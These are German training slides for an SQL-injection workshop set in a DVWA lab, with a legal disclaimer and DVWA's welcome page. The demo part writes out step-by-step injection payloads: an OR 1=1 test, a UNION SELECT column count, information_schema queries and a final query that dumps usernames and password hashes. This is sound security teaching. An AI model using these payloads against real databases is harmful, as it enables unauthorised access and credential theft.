

Workshop - Security in Datenbanken

SQL-Injection

Tom Gries



Dokumenten URL:

<http://docs.tx7.de/TT-SQL>

Autor:

Tom Gries <TT-SQL@tx7.de>
@tomo@chaos.social

Lizenz:

Creative Commons BY-NC-ND

Version:

7.2.1 vom 09.02.2024



Legal Disclaimer - Hackerparagraf

Die hier vorgestellten Methoden und Tools dienen zum Schutz der eigenen Systeme. Das Knacken fremder Passwörter ebenso wie das Eindringen in Systeme kann eine Straftat darstellen. Die vorgestellten Tools können unter den Hackerparagrafen 202c StGB fallen. Entsprechend dürfen Sie nur auf eigene Kennwörter oder Testsysteme losgehen, beziehungsweise sich schriftlich die Erlaubnis des Systembesitzers einholen.

Zudem können Cracking-Tools die getesteten Systeme stark beeinträchtigen oder außer Funktion setzen. Entsprechend vorsichtig sollten Sie bei Produktivsystemen sein.

Was Du für diesen Workshop brauchst

Für diesen Workshop ist ein Computer im Internet mit virtuellen Systemen (Debian, Kali Linux) vorbereitet. Daher brauchst Du nur einen Rechner mit Internetzugang und einen aktuellen Browser (Firefox, Chrome, Edge, Safari). Die komplette Bedienung erfolgt über die Ports 80 und 443.

Es gibt keine besonderen Anforderungen an das Betriebssystem (Windows, Linux, Mac OS). Allerdings musst Du Dich etwas mit Linux, der Bash und Kali Tools auskennen.



Damn Vulnerable Web Application





Damn Vulnerable Web Application

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

DVWA

Welcome to Damn Vulnerable Web Application

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its goal is to be an aid to security professionals to test their skills and tools in a legal environment, help developers better understand the processes of securing web applications and to aid both students & teachers in learning about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface.

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, selecting any module and working up to reach the highest level they can before moving onto the next, or not a fixed object to complete a module; however users should feel that they have successfully exploited a system as best as they possible could by using that particular vulnerability.

Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to increase the difficulty. This will demonstrate how adding another layer of security may block certain actions. Note, there are also various public methods at bypassing these protections (so this can be an extension for more advanced users!)

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

WARNING!

Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's HTML folder or any internet facing servers, as they will be compromised. It is recommended using a machine such as VirtualBox or VMware, which is set to NAT networking mode. Inside a guest machine can download and install XAMPP for the web server and database.

Disclaimer

We do not take responsibility for the way in which any one uses this application (DVWA). We have no purposes of the application being used and it should not be used maliciously. We have given warnings and measures to prevent users from installing DVWA on to live web servers. If your web server is compromised by installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded a vulnerable application.

More Training Resources

DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However, there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors or more difficult challenges, you may wish to look into the following other projects:

- [bWAPP](#)
- [NOWASP](#) (formerly known as [Mutillidae](#))
- [OWASP Broken Web Applications Project](#)

You have logged in as 'admin'

Username: admin
Security Level: low
PHPIDS: disabled

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

[TOM GRIES]

[5]

Your Mission

<http://<deine-id>.tx7.de/>

DVWA ist bereits gestartet. Wenn nicht, starte es mit `./startDockerDVWA`. Rufe DVWA mit `http://<deine-id>.tx7.de` auf, zum Beispiel mit <http://tx-100.tx7.de>. Falls ein Popup erscheint gebe deine persönlichen Zugangsdaten ein. Bei DVWA "**admin**" und "**password**". Prüfe, ob Security Level "**low**" ausgewählt ist.

Wähle "SQL Injection" aus und versuche:

- alle User in der Datenbank zu finden
 - die Passwörter oder Passworthashe zu finden
-

EINE Möglichkeit, die Aufgabe zu lösen



Eins der bekanntesten Wörterbücher - RockYou - ist durch eine SQL-Injection hervorgegangen. Es wurden über 14 Millionen Passwörter von 32 Millionen Accounts aufgedeckt. Das Prekäre daran: Die Passwörter waren im **Klartext** in der DB abgelegt und die Angreifer nutzten eine **10 Jahre alte SQL-Schwachstelle**. Die Passwörter enthielten auch keine Sonderzeichen - dies war von RockYou nicht zugelassen.

Ein einfacher Test in einem Formularfeld einer SQL Datenbank:

' OR 1 = 1; --

Achtung: Leerzeichen nach --



SQL-Injection - Demo mit DVWA

Normale Verwendung Testen:

1

Hochkomma, um auf mögliche SQL-Injection zu Testen:

'

Einfache SQL-Injection Testen:

' OR 1 = 1; --

Da in ID unser Statement wiederholt wird, sind "First name" und "Surname" vermutlich die Felder in der DB. Allerdings werden sie anders heißen - das und den Namen der Datenbank und Tabelle müssen wir herausbekommen. Wir können im Moment daher davon ausgehen, dass das hinterlegte SQL-Statement ungefähr wie folgt aussieht:

```
SELECT <First name>, <Surname> FROM <UserTable>
WHERE 'ID'='<Eingabefeld>';
```



SQL-Injection - Demo mit DVWA

Mit einem UNION SELECT die Anzahl der Spalten ermitteln. Wir testen zunächst auf 2:

```
' UNION SELECT null, null FROM information_schema.tables; --
```

Mit der ermittelten Anzahl von Feldern den Namen der Datenbank und der Tabellen ermitteln:

```
' UNION SELECT table_schema, table_name FROM information_schema.tables  
WHERE table_schema = database(); --
```

Spaltennamen und Position in der Tabelle "dvwa.users" ermitteln:

```
' UNION SELECT column_name, ordinal_position FROM information_schema.columns  
WHERE table_schema = 'dvwa' AND table_name = 'users'; --
```

Daraus lässt sich jetzt das folgende Statement ableiten und die finale UNION SELECT Abfrage bilden:

```
SELECT first_name, last_name FROM dvwa.users WHERE 'ID'=' ' UNION  
SELECT user, password FROM dvwa.users; -- ;
```

Anmerkungen oder Fragen?